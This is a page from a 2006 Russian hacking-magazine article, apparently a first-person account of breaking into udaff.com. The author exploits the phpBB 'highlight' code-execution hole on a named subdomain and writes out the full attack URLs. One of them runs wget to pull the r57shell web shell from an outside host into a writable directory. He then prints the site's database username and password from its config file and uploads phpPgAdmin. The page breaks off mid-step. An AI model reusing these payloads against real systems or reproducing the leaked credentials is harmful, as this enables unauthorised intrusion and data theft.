Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #85, ЯНВАРЬ 2006 г.

Жжом автора

mag (mag@wapp.ru)

Хакер, номер #085, стр. 085-060-2


Опять нам это ничего особого не даст. Как я не играл с путями, ничего хорошего заинклудить не удалось.

Тут я уже начал злиться и зарядил в гугл следующий запрос для поиска:

inurl:"udaff.com" filetype:php

[морозное солнце]

Любимый поисковик выдал здоровую кучу линков. Побродив по ним, я наткнулся на один интересный сайт: http://sunfreez.udaff.com (http://pesdec.com). А интересен он был тем, что на нем установлена нюка со старой (2.0.8) версией популярного форума phpBB. Все, наверно, знают знаменитую дырку с highlight- параметром во всех версиях этого форума до 2.0.10 включительно, которую я незамедлительно и начал использовать :). Первым делом я выяснил, есть ли на серваке wget, запросив следующий адрес:

http://sunfreez.udaff.com/modules.php?name=Forums&file=viewtopic&t=108&highlight=%2527.$poster=`$hera`.%2527&hera=which%20wget

Wget на сервере был (/usr/bin/wget), но теперь нужна была директория, открытая для записи, куда можно было бы залить более удобный web-шелл. Для поиска таковой я воспользовался утилитой find:

http://sunfreez.udaff.com/modules.php?name=Forums&file=viewtopic&t=108&highlight=%2527.$poster=`$hera`.%2527&hera=find ./ type d -perm 0777 -ls

Таких директорий оказалось три: gallery/albums, gallery/albums/edit и gallery/albums/userpics. Оставалось только залить удобный веб-шелл, что я и сделал, в качестве готового решения использовав хваленый r57shell. Выполнив команду

http://sunfreez.udaff.com/modules.php?name=Forums&file=viewtopic&t=108&highlight=%2527.$poster=%60$hera%60.%2527&hera=wget%20-O%20./gallery/albums/userpics/userfiles.php%20http://rst.void.ru/download/r57shell.txt,

я получил полноценный web-шелл по адресу: http://sunfreez.udaff.com/gallery/albums/userpics/userfiles.php.

Посмотрев на используемую систему и демоны, я понял, что проэксплойтить систему вряд ли удастся, так как я еще не видел публичных сплоитов под установленные сервисы, да Linux 2.6.13.3 на тот момент даже локально не пробивался. Поэтому я поставил себе основной задачей проникновение в админку Удава. Чем и занялся дальше.

[сам себе профорг]

Сначала путем нехитрых логических рассуждений я вычислил директорию, где находился основной сайт (/home/www/udaff.com/), далее, просмотрев листинг файлов и каталогов, можно понять, что админка находится в adm/, а параметры подключения к базе данных, которые нам и надо узнать, - в файлике kernel.ini.php. Открыв его, я увидел следующее:

[db]

type = "pgsql";

user = "proforg";

password = "FogOnjuhayg8";

port = 5433;

host = "psql";

db = "udaff";

Хе-хе, здесь используется постгрес, а у меня на ноуте как раз валялся phpPgAdmin, который я и залил в уже известную папку, доступную для записи.

Перейдя по ссылке http://sunfreez.udaff.com/gallery/albums/userpics/users, я увидел форму для логина. Но, чтобы все заработало, сначала надо было настроить конфигурационный файл phpPgAdmin, который находился по адресу:

/home/sites/pesdec.com/html/gallery/albums/userpics/users/conf/config.inc.php

Я изменил только следующие параметры:

Назад на стр. 085-060-1  Содержание  Вперед на стр. 085-060-3